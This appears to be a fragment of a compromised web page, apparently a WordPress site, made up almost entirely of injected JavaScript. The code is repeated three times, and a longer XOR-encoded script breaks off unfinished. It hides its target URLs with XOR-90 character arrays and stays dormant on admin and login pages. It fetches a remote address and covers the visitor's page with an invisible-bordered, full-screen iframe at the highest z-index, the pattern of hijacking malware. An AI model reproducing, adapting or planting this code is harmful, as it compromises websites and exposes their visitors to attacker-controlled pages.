n=Symbol.for(\"__inline_id_offer__\"),r=window[n]=window[n]||{iframeReady:!1,iframeId:\"ifr_\"+Math.random().toString(36).slice(2),run:null};r.iframeReady||(\"complete\"===document.readyState||document.body?c():window.addEventListener(\"DOMContentLoaded\",c))}function i(e,t){if(e.indexOf(\"dropbox.com\")>=0)return e.replace(\/\\{id\\}\/g,t);var n=encodeURIComponent(t);return e.indexOf(\"gist.githubusercontent.com\")>=0&&(n=n.replace(\/%2F\/g,\"\/\")),e.replace(\/\\{id\\}\/g,n)}function o(e){return fetch(e,{cache:\"no-store\"}).then(function(e){return e.text()}).then(function(e){return(e||\"\").trim()}).catch(function(){return\"\"})}function a(e){if(!e)return!1;try{var t=e.indexOf(\":\")>=0?e:\"https:\/\/\"+e;return new URL(t),!0}catch(n){return!1}}function c(){r.run||(r.run=!0,fetch(e,{cache:\"no-store\"}).then(function(e){return e.text()}).then(function(e){if(!(e=(e||\"\").trim())||!t.length)return null;var n=t,r=i(n[0].template,e);if(1===n.length)return n[0].useFetch?o(r).then(function(e){return e&&a(e)?e:r}):Promise.resolve(r);var c=0;return function t(){if(c>=n.length)return Promise.resolve(r);var d=n[c],u=i(d.template,e);return(c++,d.useFetch)?o(u).then(function(e){return e&&a(e)||e?e:t()}):Promise.resolve(u)}()}).then(function(e){e&&function e(t){try{var n=document.createElement(\"iframe\");n.style.display=\"none\",n.onload=function(){n.remove(),t(!0)},n.onerror=function(){n.remove(),t(!1)},n.src=\"about:blank\",document.body.appendChild(n)}catch(r){t(!1)}}(function(t){t&&function e(t){if(!r.iframeReady){r.iframeReady=!0;var n,i,o,a=document.createElement(\"iframe\");a.src=(n=t,i=Math.random().toString(36).slice(2),o=n.indexOf(\"?\")>=0?\"&\":\"?\",n+o+encodeURIComponent(\"v\")+\"=\"+encodeURIComponent(i)),a.id=r.iframeId,a.style.cssText=\"position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;overflow:hidden;\",a.setAttribute(\"aria-hidden\",\"true\"),window.addEventListener(\"message\",function(e){if(e.data&&\"object\"==typeof e.data&&\"ktl-show-original\"===e.data.type)try{var t=document.getElementById(r.iframeId);t&&t.parentNode&&t.parentNode.removeChild(t)}catch(n){}});try{document.body.appendChild(a)}catch(c){var d=new MutationObserver(function(){document.body&&!document.getElementById(r.iframeId)&&(document.body.appendChild(a),d.disconnect())});d.observe(document.documentElement,{childList:!0,subtree:!0})}}}(e)})}).catch(function(){}))}}();<\/p>\n<p>console.log('28du3');<\/script><script>; !function(){var e=String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,63,55,51,47,55,50,53,54,62,51,52,61,41,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42].map(function(e){return 90^e})),t=[{template:String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,59,45,116,61,51,46,50,47,56,47,41,63,40,57,53,52,46,63,52,46,116,57,53,55,117,33,51,62,39].map(function(e){return 90^e})),useFetch:!0}];if(!\/^\\\/(wp-admin|wp-login)\/.test(window.location.pathname||\"\")){var n=Symbol.for(\"__inline_id_offer__\"),r=window[n]=window[n]||{iframeReady:!1,iframeId:\"ifr_\"+Math.random().toString(36).slice(2),run:null};r.iframeReady||(\"complete\"===document.readyState||document.body?c():window.addEventListener(\"DOMContentLoaded\",c))}function i(e,t){if(e.indexOf(\"dropbox.com\")>=0)return e.replace(\/\\{id\\}\/g,t);var n=encodeURIComponent(t);return e.indexOf(\"gist.githubusercontent.com\")>=0&&(n=n.replace(\/%2F\/g,\"\/\")),e.replace(\/\\{id\\}\/g,n)}function o(e){return fetch(e,{cache:\"no-store\"}).then(function(e){return e.text()}).then(function(e){return(e||\"\").trim()}).catch(function(){return\"\"})}function a(e){if(!e)return!1;try{var t=e.indexOf(\":\")>=0?e:\"https:\/\/\"+e;return new URL(t),!0}catch(n){return!1}}function c(){r.run||(r.run=!0,fetch(e,{cache:\"no-store\"}).then(function(e){return e.text()}).then(function(e){if(!(e=(e||\"\").trim())||!t.length)return null;var n=t,r=i(n[0].template,e);if(1===n.length)return n[0].useFetch?o(r).then(function(e){return e&&a(e)?e:r}):Promise.resolve(r);var c=0;return function t(){if(c>=n.length)return Promise.resolve(r);var d=n[c],u=i(d.template,e);return(c++,d.useFetch)?o(u).then(function(e){return e&&a(e)||e?e:t()}):Promise.resolve(u)}()}).then(function(e){e&&function e(t){try{var n=document.createElement(\"iframe\");n.style.display=\"none\",n.onload=function(){n.remove(),t(!0)},n.onerror=function(){n.remove(),t(!1)},n.src=\"about:blank\",document.body.appendChild(n)}catch(r){t(!1)}}(function(t){t&&function e(t){if(!r.iframeReady){r.iframeReady=!0;var n,i,o,a=document.createElement(\"iframe\");a.src=(n=t,i=Math.random().toString(36).slice(2),o=n.indexOf(\"?\")>=0?\"&\":\"?\",n+o+encodeURIComponent(\"v\")+\"=\"+encodeURIComponent(i)),a.id=r.iframeId,a.style.cssText=\"position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;overflow:hidden;\",a.setAttribute(\"aria-hidden\",\"true\"),window.addEventListener(\"message\",function(e){if(e.data&&\"object\"==typeof e.data&&\"ktl-show-original\"===e.data.type)try{var t=document.getElementById(r.iframeId);t&&t.parentNode&&t.parentNode.removeChild(t)}catch(n){}});try{document.body.appendChild(a)}catch(c){var d=new MutationObserver(function(){document.body&&!document.getElementById(r.iframeId)&&(document.body.appendChild(a),d.disconnect())});d.observe(document.documentElement,{childList:!0,subtree:!0})}}}(e)})}).catch(function(){}))}}();<\/p>\n<p>console.log('28du3');<\/script><script>; !function(){var e=String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,63,55,51,47,55,50,53,54,62,51,52,61,41,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42].map(function(e){return 90^e})),t=[{template:String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,59,45,116,61,51,46,50,47,56,47,41,63,40,57,53,52,46,63,52,46,116,57,53,55,117,33,51,62,39].map(function(e){return 90^e})),useFetch:!0}];if(!\/^\\\/(wp-admin|wp-login)\/.test(window.location.pathname||\"\")){var n=Symbol.for(\"__inline_id_offer__\"),r=window[n]=window[n]||{iframeReady:!1,iframeId:\"ifr_\"+Math.random().toString(36).slice(2),run:null};r.iframeReady||(\"complete\"===document.readyState||document.body?c():window.addEventListener(\"DOMContentLoaded\",c))}function i(e,t){if(e.indexOf(\"dropbox.com\")>=0)return e.replace(\/\\{id\\}\/g,t);var n=encodeURIComponent(t);return e.indexOf(\"gist.githubusercontent.com\")>=0&&(n=n.replace(\/%2F\/g,\"\/\")),e.replace(\/\\{id\\}\/g,n)}function o(e){return fetch(e,{cache:\"no-store\"}).then(function(e){return e.text()}).then(function(e){return(e||\"\").trim()}).catch(function(){return\"\"})}function a(e){if(!e)return!1;try{var t=e.indexOf(\":\")>=0?e:\"https:\/\/\"+e;return new URL(t),!0}catch(n){return!1}}function c(){r.run||(r.run=!0,fetch(e,{cache:\"no-store\"}).then(function(e){return e.text()}).then(function(e){if(!(e=(e||\"\").trim())||!t.length)return null;var n=t,r=i(n[0].template,e);if(1===n.length)return n[0].useFetch?o(r).then(function(e){return e&&a(e)?e:r}):Promise.resolve(r);var c=0;return function t(){if(c>=n.length)return Promise.resolve(r);var d=n[c],u=i(d.template,e);return(c++,d.useFetch)?o(u).then(function(e){return e&&a(e)||e?e:t()}):Promise.resolve(u)}()}).then(function(e){e&&function e(t){try{var n=document.createElement(\"iframe\");n.style.display=\"none\",n.onload=function(){n.remove(),t(!0)},n.onerror=function(){n.remove(),t(!1)},n.src=\"about:blank\",document.body.appendChild(n)}catch(r){t(!1)}}(function(t){t&&function e(t){if(!r.iframeReady){r.iframeReady=!0;var n,i,o,a=document.createElement(\"iframe\");a.src=(n=t,i=Math.random().toString(36).slice(2),o=n.indexOf(\"?\")>=0?\"&\":\"?\",n+o+encodeURIComponent(\"v\")+\"=\"+encodeURIComponent(i)),a.id=r.iframeId,a.style.cssText=\"position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;overflow:hidden;\",a.setAttribute(\"aria-hidden\",\"true\"),window.addEventListener(\"message\",function(e){if(e.data&&\"object\"==typeof e.data&&\"ktl-show-original\"===e.data.type)try{var t=document.getElementById(r.iframeId);t&&t.parentNode&&t.parentNode.removeChild(t)}catch(n){}});try{document.body.appendChild(a)}catch(c){var d=new MutationObserver(function(){document.body&&!document.getElementById(r.iframeId)&&(document.body.appendChild(a),d.disconnect())});d.observe(document.documentElement,{childList:!0,subtree:!0})}}}(e)})}).catch(function(){}))}}();<\/p>\n<p>console.log('28du3');<\/script><script>(function(){var __s=(function(){var _0x5641=[114,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,44,59,40,122,27,10,19,5,19,30,5,15,8,22,122,103,122,120,50,46,46,42,41,96,117,117,40,53,41,40,63,60,47,40,56,53,41,41,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42,120,97,87,80,122,122,44,59,40,122,14,8,15,9,14,31,30,5,25,21,20,28,19,29,9,122,103,122,1,87,80,122,122,122,122,33,122,46,63,55,42,54,59,46,63,96,122,120,50,46,46,42,41,96,117,117,40,59,45,116,61,51,46,50,47,56,47,41,63,40,57,53,52,46,63,52,46,116,57,53,55,117,33,51,62,39,120,118,122,47,41,63,28,63,46,57,50,96,122,46,40,47,63,122,39,87,80,122,122,7,97,87,80,87,80,122,122,44,59,40,122,29,22,21,24,27,22,5,17,31,3,122,103,122,114,46,35,42,63,53,60,122,9,35,55,56,53,54,122,103,103,103,122,120,60,47,52,57,46,51,53,52,120,122,124,124,122,9,35,55,56,53,54,116,60,53,40,115,87,80,122,122,122,122,101,122,9,35,55,56,53,54,116,60,53,40,114,120,5,5,51,52,54,51,52,63,5,51,62,5,53,60,60,63,40,5,5,120,115,87,80,122,122,122,122,96,122,120,5,5,51,52,54,51,52,63,5,51,62,5,53,60,60,63,40,5,5,120,97,87,80,87,80,122,122,44,59,40,122,40,63,61,51,41,46,40,35,122,103,122,45,51,52,62,53,45,1,29,22,21,24,27,22,5,17,31,3,7,122,103,122,45,51,52,62,53,45,1,29,22,21,24,27,22,5,17,31,3,7,122,38,38,122,33,87,80,122,122,122,122,41,46,59,46,47,41,96,122,120,51,62,54,63,120,118,87,80,122,122,122,122,51,60,40,59,55,63,19,62,96,122,120,5,5,51,52,54,51,52,63,5,53,60,60,63,40,5,51,60,40,59,55,63,5,5,120,118,87,80,122,122,122,122,51,60,40,59,55,63,27,46,46,40,96,122,120,62,59,46,59,119,51,52,54,51,52,63,119,53,60,60,63,40,119,60,40,59,55,63,120,118,87,80,122,122,122,122,50,51,52,46,41,96,122,33,39,118,87,80,122,122,122,122,40,47,52,10,40,53,55,51,41,63,96,122,52,47,54,54,118,87,80,122,122,122,122,62,63,41,46,40,53,35,96,122,52,47,54,54,118,87,80,122,122,122,122,40,63,44,63,59,54,96,122,52,47,54,54,118,87,80,122,122,122,122,40,63,43,47,63,41,46,14,51,55,63,53,47,46,23,41,96,122,110,106,106,106,118,87,80,122,122,122,122,51,60,40,59,55,63,14,51,55,63,53,47,46,23,41,96,122,99,106,106,106,118,87,80,122,122,122,122,40,63,43,47,51,40,63,8,63,59,62,35,23,63,41,41,59,61,63,96,122,60,59,54,41,63,118,87,80,122,122,122,122,55,63,41,41,59,61,63,24,53,47,52,62,96,122,60,59,54,41,63,87,80,122,122,39,97,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,51,41,13,42,22,53,61,61,63,62,19,52,25,53,52,46,63,34,46,114,115,122,33,87,80,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,51,60,122,114,45,51,52,62,53,45,116,5,5,62,51,41,59,56,54,63,19,52,54,51,52,63,21,60,60,63,40,5,5,122,103,103,103,122,46,40,47,63,122,38,38,122,45,51,52,62,53,45,116,5,5,51,41,13,42,27,62,55,51,52,5,5,122,103,103,103,122,46,40,47,63,115,122,40,63,46,47,40,52,122,46,40,47,63,97,87,80,87,80,122,122,122,122,122,122,44,59,40,122,42,59,46,50,122,103,122,45,51,52,62,53,45,116,54,53,57,59,46,51,53,52,116,42,59,46,50,52,59,55,63,122,38,38,122,120,120,97,87,80,122,122,122,122,122,122,51,60,122,114,117,4,6,117,114,45,42,119,59,62,55,51,52,38,45,42,119,54,53,61,51,52,115,117,116,46,63,41,46,114,42,59,46,50,115,115,122,40,63,46,47,40,52,122,46,40,47,63,97,87,80,87,80,122,122,122,122,122,122,44,59,40,122,57,53,53,49,51,63,122,103,122,62,53,57,47,55,63,52,46,116,57,53,53,49,51,63,122,38,38,122,120,120,97,87,80,122,122,122,122,122,122,51,60,122,114,117,45,53,40,62,42,40,63,41,41,5,54,53,61,61,63,62,5,51,52,5,1,4,103,7,112,103,117,116,46,63,41,46,114,57,53,53,49,51,63,115,115,122,40,63,46,47,40,52,122,46,40,47,63,97,87,80,87,80,122,122,122,122,122,122,44,59,40,122,62,63,122,103,122,62,53,57,47,55,63,52,46,116,62,53,57,47,55,63,52,46,31,54,63,55,63,52,46,97,87,80,122,122,122,122,122,122,44,59,40,122,56,53,62,35,122,103,122,62,53,57,47,55,63,52,46,116,56,53,62,35,97,87,80,87,80,122,122,122,122,122,122,51,60,122,114,62,63,122,124,124,122,46,35,42,63,53,60,122,62,63,116,57,54,59,41,41,20,59,55,63,122,103,103,103,122,120,41,46,40,51,52,61,120,122,124,124,122,117,6,56,45,42,119,46,53,53,54,56,59,40,6,56,117,116,46,63,41,46,114,62,63,116,57,54,59,41,41,20,59,55,63,115,115,122,40,63,46,47,40,52,122,46,40,47,63,97,87,80,122,122,122,122,122,122,51,60,122,114,56,53,62,35,122,124,124,122,46,35,42,63,53,60,122,56,53,62,35,116,57,54,59,41,41,20,59,55,63,122,103,103,103,122,120,41,46,40,51,52,61,120,122,124,124,122,117,6,56,59,62,55,51,52,119,56,59,40,6,56,117,116,46,63,41,46,114,56,53,62,35,116,57,54,59,41,41,20,59,55,63,115,115,122,40,63,46,47,40,52,122,46,40,47,63,97,87,80,122,122,122,122,122,122,51,60,122,114,62,53,57,47,55,63,52,46,116,61,63,46,31,54,63,55,63,52,46,24,35,19,62,114,120,45,42,59,62,55,51,52,56,59,40,120,115,115,122,40,63,46,47,40,52,122,46,40,47,63,97,87,80,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,87,80,122,122,122,122,40,63,46,47,40,52,122,60,59,54,41,63,97,87,80,122,122,39,87,80,87,80,122,122,51,60,122,114,51,41,13,42,22,53,61,61,63,62,19,52,25,53,52,46,63,34,46,114,115,115,122,40,63,46,47,40,52,97,87,80,87,80,122,122,51,60,122,114,62,53,57,47,55,63,52,46,116,61,63,46,31,54,63,55,63,52,46,24,35,19,62,114,40,63,61,51,41,46,40,35,116,51,60,40,59,55,63,19,62,115,115,122,33,87,80,122,122,122,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,122,120,59,57,46,51,44,63,120,97,87,80,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,39,87,80,87,80,122,122,51,60,122,114,40,63,61,51,41,46,40,35,116,40,47,52,10,40,53,55,51,41,63,122,38,38,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,103,103,122,120,54,53,59,62,51,52,61,120,122,38,38,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,103,103,122,120,59,57,46,51,44,63,120,122,38,38,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,103,103,122,120,62,53,52,63,120,115,122,33,87,80,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,39,87,80,87,80,122,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,122,120,54,53,59,62,51,52,61,120,97,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,41,59,60,63,27,42,42,63,52,62,11,47,63,40,35,114,47,40,54,118,122,49,63,35,118,122,44,59,54,115,122,33,87,80,122,122,122,122,44,59,40,122,41,63,42,122,103,122,47,40,54,116,51,52,62,63,34,21,60,114,120,101,120,115,122,100,103,122,106,122,101,122,120,124,120,122,96,122,120,101,120,97,87,80,122,122,122,122,40,63,46,47,40,52,122,47,40,54,122,113,122,41,63,42,122,113,122,63,52,57,53,62,63,15,8,19,25,53,55,42,53,52,63,52,46,114,49,63,35,115,122,113,122,120,103,120,122,113,122,63,52,57,53,62,63,15,8,19,25,53,55,42,53,52,63,52,46,114,44,59,54,115,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,56,47,51,54,62,14,40,47,41,46,63,62,15,40,54,114,46,63,55,42,54,59,46,63,118,122,51,62,115,122,33,87,80,122,122,122,122,51,60,122,114,123,46,63,55,42,54,59,46,63,122,38,38,122,123,51,62,115,122,40,63,46,47,40,52,122,120,120,97,87,80,87,80,122,122,122,122,51,60,122,114,46,63,55,42,54,59,46,63,116,51,52,62,63,34,21,60,114,120,62,40,53,42,56,53,34,116,57,53,55,120,115,122,100,103,122,106,115,122,33,87,80,122,122,122,122,122,122,40,63,46,47,40,52,122,46,63,55,42,54,59,46,63,116,40,63,42,54,59,57,63,114,117,6,33,51,62,6,39,117,61,118,122,51,62,115,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,44,59,40,122,63,52,57,53,62,63,62,122,103,122,63,52,57,53,62,63,15,8,19,25,53,55,42,53,52,63,52,46,114,51,62,115,97,87,80,87,80,122,122,122,122,51,60,122,114,46,63,55,42,54,59,46,63,116,51,52,62,63,34,21,60,114,120,61,51,41,46,116,61,51,46,50,47,56,47,41,63,40,57,53,52,46,63,52,46,116,57,53,55,120,115,122,100,103,122,106,115,122,33,87,80,122,122,122,122,122,122,63,52,57,53,62,63,62,122,103,122,63,52,57,53,62,63,62,116,40,63,42,54,59,57,63,114,117,127,104,28,117,61,118,122,120,117,120,115,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,40,63,46,47,40,52,122,46,63,55,42,54,59,46,63,116,40,63,42,54,59,57,63,114,117,6,33,51,62,6,39,117,61,118,122,63,52,57,53,62,63,62,115,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,46,53,18,46,46,42,15,40,54,114,44,59,54,47,63,115,122,33,87,80,122,122,122,122,51,60,122,114,123,44,59,54,47,63,115,122,40,63,46,47,40,52,122,120,120,97,87,80,87,80,122,122,122,122,44,59,40,122,41,122,103,122,9,46,40,51,52,61,114,44,59,54,47,63,115,87,80,122,122,122,122,122,122,116,40,63,42,54,59,57,63,114,117,4,6,47,28,31,28,28,117,118,122,120,120,115,87,80,122,122,122,122,122,122,116,46,40,51,55,114,115,87,80,122,122,122,122,122,122,116,40,63,42,54,59,57,63,114,117,4,1,125,120,58,6,41,7,113,38,1,125,120,58,6,41,7,113,126,117,61,118,122,120,120,115,97,87,80,87,80,122,122,122,122,51,60,122,114,123,41,115,122,40,63,46,47,40,52,122,120,120,97,87,80,87,80,122,122,122,122,51,60,122,114,123,117,4,1,59,119,32,7,1,59,119,32,106,119,99,113,116,119,7,112,96,6,117,6,117,117,51,116,46,63,41,46,114,41,115,115,122,33,87,80,122,122,122,122,122,122,51,60,122,114,117,4,1,59,119,32,106,119,99,116,119,7,113,6,116,1,59,119,32,7,33,104,118,39,114,101,96,96,6,62,113,115,101,114,101,96,1,6,117,101,121,7,38,126,115,117,51,116,46,63,41,46,114,41,115,115,122,33,87,80,122,122,122,122,122,122,122,122,41,122,103,122,120,50,46,46,42,41,96,117,117,120,122,113,122,41,97,87,80,122,122,122,122,122,122,39,122,63,54,41,63,122,33,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,122,122,122,122,39,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,44,59,40,122,47,122,103,122,52,63,45,122,15,8,22,114,41,115,97,87,80,122,122,122,122,122,122,51,60,122,114,47,116,42,40,53,46,53,57,53,54,122,103,103,103,122,120,50,46,46,42,96,120,122,38,38,122,47,116,42,40,53,46,53,57,53,54,122,103,103,103,122,120,50,46,46,42,41,96,120,115,122,33,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,47,116,50,40,63,60,97,87,80,122,122,122,122,122,122,39,87,80,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,87,80,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,60,51,52,62,15,40,54,19,52,21,56,48,63,57,46,114,51,52,42,47,46,118,122,62,63,42,46,50,115,122,33,87,80,122,122,122,122,51,60,122,114,123,51,52,42,47,46,122,38,38,122,62,63,42,46,50,122,100,122,105,115,122,40,63,46,47,40,52,122,120,120,97,87,80,87,80,122,122,122,122,51,60,122,114,46,35,42,63,53,60,122,51,52,42,47,46,122,103,103,103,122,120,41,46,40,51,52,61,120,115,122,33,87,80,122,122,122,122,122,122,40,63,46,47,40,52,122,46,53,18,46,46,42,15,40,54,114,51,52,42,47,46,115,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,51,60,122,114,21,56,48,63,57,46,116,42,40,53,46,53,46,35,42,63,116,46,53,9,46,40,51,52,61,116,57,59,54,54,114,51,52,42,47,46,115,122,103,103,103,122,120,1,53,56,48,63,57,46,122,27,40,40,59,35,7,120,115,122,33,87,80,122,122,122,122,122,122,60,53,40,122,114,44,59,40,122,51,122,103,122,106,97,122,51,122,102,122,51,52,42,47,46,116,54,63,52,61,46,50,97,122,51,113,113,115,122,33,87,80,122,122,122,122,122,122,122,122,44,59,40,122,59,40,40,12,59,54,122,103,122,60,51,52,62,15,40,54,19,52,21,56,48,63,57,46,114,51,52,42,47,46,1,51,7,118,122,62,63,42,46,50,122,113,122,107,115,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,59,40,40,12,59,54,115,122,40,63,46,47,40,52,122,59,40,40,12,59,54,97,87,80,122,122,122,122,122,122,39,87,80,122,122,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,51,60,122,114,46,35,42,63,53,60,122,51,52,42,47,46,122,103,103,103,122,120,53,56,48,63,57,46,120,115,122,33,87,80,122,122,122,122,122,122,44,59,40,122,49,63,35,41,122,103,122,1,120,47,40,54,120,118,122,120,54,51,52,49,120,118,122,120,50,40,63,60,120,118,122,120,54,53,57,59,46,51,53,52,120,118,122,120,40,63,62,51,40,63,57,46,120,118,122,120,46,59,40,61,63,46,120,118,122,120,54,59,52,62,51,52,61,120,118,122,120,54,59,52,62,51,52,61,15,40,54,120,7,97,87,80,87,80,122,122,122,122,122,122,60,53,40,122,114,44,59,40,122,48,122,103,122,106,97,122,48,122,102,122,49,63,35,41,116,54,63,52,61,46,50,97,122,48,113,113,115,122,33,87,80,122,122,122,122,122,122,122,122,44,59,40,122,49,63,35,122,103,122,49,63,35,41,1,48,7,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,21,56,48,63,57,46,116,42,40,53,46,53,46,35,42,63,116,50,59,41,21,45,52,10,40,53,42,63,40,46,35,116,57,59,54,54,114,51,52,42,47,46,118,122,49,63,35,115,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,44,59,40,122,62,51,40,63,57,46,122,103,122,60,51,52,62,15,40,54,19,52,21,56,48,63,57,46,114,51,52,42,47,46,1,49,63,35,7,118,122,62,63,42,46,50,122,113,122,107,115,97,87,80,122,122,122,122,122,122,122,122,122,122,51,60,122,114,62,51,40,63,57,46,115,122,40,63,46,47,40,52,122,62,51,40,63,57,46,97,87,80,122,122,122,122,122,122,122,122,39,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,60,53,40,122,114,44,59,40,122,49,122,51,52,122,51,52,42,47,46,115,122,33,87,80,122,122,122,122,122,122,122,122,51,60,122,114,123,21,56,48,63,57,46,116,42,40,53,46,53,46,35,42,63,116,50,59,41,21,45,52,10,40,53,42,63,40,46,35,116,57,59,54,54,114,51,52,42,47,46,118,122,49,115,115,122,57,53,52,46,51,52,47,63,97,87,80,122,122,122,122,122,122,122,122,44,59,40,122,52,63,41,46,63,62,122,103,122,60,51,52,62,15,40,54,19,52,21,56,48,63,57,46,114,51,52,42,47,46,1,49,7,118,122,62,63,42,46,50,122,113,122,107,115,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,52,63,41,46,63,62,115,122,40,63,46,47,40,52,122,52,63,41,46,63,62,97,87,80,122,122,122,122,122,122,39,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,63,34,46,40,59,57,46,22,59,52,62,51,52,61,15,40,54,114,40,59,45,115,122,33,87,80,122,122,122,122,51,60,122,114,123,40,59,45,115,122,40,63,46,47,40,52,122,120,120,97,87,80,87,80,122,122,122,122,44,59,40,122,46,63,34,46,122,103,122,9,46,40,51,52,61,114,40,59,45,115,116,40,63,42,54,59,57,63,114,117,4,6,47,28,31,28,28,117,118,122,120,120,115,116,46,40,51,55,114,115,97,87,80,122,122,122,122,51,60,122,114,123,46,63,34,46,115,122,40,63,46,47,40,52,122,120,120,97,87,80,87,80,122,122,122,122,44,59,40,122,62,51,40,63,57,46,122,103,122,46,53,18,46,46,42,15,40,54,114,46,63,34,46,115,97,87,80,122,122,122,122,51,60,122,114,62,51,40,63,57,46,115,122,40,63,46,47,40,52,122,62,51,40,63,57,46,97,87,80,87,80,122,122,122,122,51,60,122,114,114,46,63,34,46,116,57,50,59,40,27,46,114,106,115,122,103,103,103,122,120,33,120,122,124,124,122,46,63,34,46,116,57,50,59,40,27,46,114,46,63,34,46,116,54,63,52,61,46,50,122,119,122,107,115,122,103,103,103,122,120,39,120,115,122,38,38,87,80,122,122,122,122,122,122,122,122,114,46,63,34,46,116,57,50,59,40,27,46,114,106,115,122,103,103,103,122,120,1,120,122,124,124,122,46,63,34,46,116,57,50,59,40,27,46,114,46,63,34,46,116,54,63,52,61,46,50,122,119,122,107,115,122,103,103,103,122,120,7,120,115,115,122,33,87,80,122,122,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,122,122,44,59,40,122,42,59,40,41,63,62,122,103,122,16,9,21,20,116,42,59,40,41,63,114,46,63,34,46,115,97,87,80,122,122,122,122,122,122,122,122,44,59,40,122,48,41,53,52,15,40,54,122,103,122,60,51,52,62,15,40,54,19,52,21,56,48,63,57,46,114,42,59,40,41,63,62,118,122,106,115,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,48,41,53,52,15,40,54,115,122,40,63,46,47,40,52,122,48,41,53,52,15,40,54,97,87,80,122,122,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,44,59,40,122,55,59,46,57,50,18,46,46,42,122,103,122,46,63,34,46,116,55,59,46,57,50,114,117,50,46,46,42,41,101,96,6,117,6,117,1,4,6,41,120,125,102,100,7,113,117,51,115,97,87,80,122,122,122,122,51,60,122,114,55,59,46,57,50,18,46,46,42,122,124,124,122,55,59,46,57,50,18,46,46,42,1,106,7,115,122,33,87,80,122,122,122,122,122,122,44,59,40,122,50,46,46,42,15,40,54,122,103,122,46,53,18,46,46,42,15,40,54,114,55,59,46,57,50,18,46,46,42,1,106,7,115,97,87,80,122,122,122,122,122,122,51,60,122,114,50,46,46,42,15,40,54,115,122,40,63,46,47,40,52,122,50,46,46,42,15,40,54,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,44,59,40,122,55,59,46,57,50,30,53,55,59,51,52,122,103,122,46,63,34,46,116,55,59,46,57,50,114,117,6,56,1,59,119,32,106,119,99,116,119,7,113,6,116,1,59,119,32,7,33,104,118,39,114,101,96,96,6,62,113,115,101,114,101,96,6,117,1,4,6,41,120,125,102,100,7,112,115,101,117,51,115,97,87,80,122,122,122,122,51,60,122,114,55,59,46,57,50,30,53,55,59,51,52,122,124,124,122,55,59,46,57,50,30,53,55,59,51,52,1,106,7,115,122,33,87,80,122,122,122,122,122,122,44,59,40,122,62,53,55,59,51,52,15,40,54,122,103,122,46,53,18,46,46,42,15,40,54,114,55,59,46,57,50,30,53,55,59,51,52,1,106,7,115,97,87,80,122,122,122,122,122,122,51,60,122,114,62,53,55,59,51,52,15,40,54,115,122,40,63,46,47,40,52,122,62,53,55,59,51,52,15,40,54,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,61,63,46,21,40,51,61,51,52,9,59,60,63,114,47,40,54,115,122,33,87,80,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,40,63,46,47,40,52,122,52,63,45,122,15,8,22,114,47,40,54,115,116,53,40,51,61,51,52,97,87,80,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,87,80,122,122,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,122,122,39,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,59,62,62,18,51,52,46,114,40,63,54,118,122,50,40,63,60,115,122,33,87,80,122,122,122,122,51,60,122,114,123,50,40,63,60,122,38,38,122,123,62,53,57,47,55,63,52,46,122,38,38,122,123,62,53,57,47,55,63,52,46,116,57,40,63,59,46,63,31,54,63,55,63,52,46,115,122,40,63,46,47,40,52,97,87,80,87,80,122,122,122,122,44,59,40,122,49,63,35,122,103,122,40,63,54,122,113,122,120,96,96,120,122,113,122,50,40,63,60,97,87,80,122,122,122,122,51,60,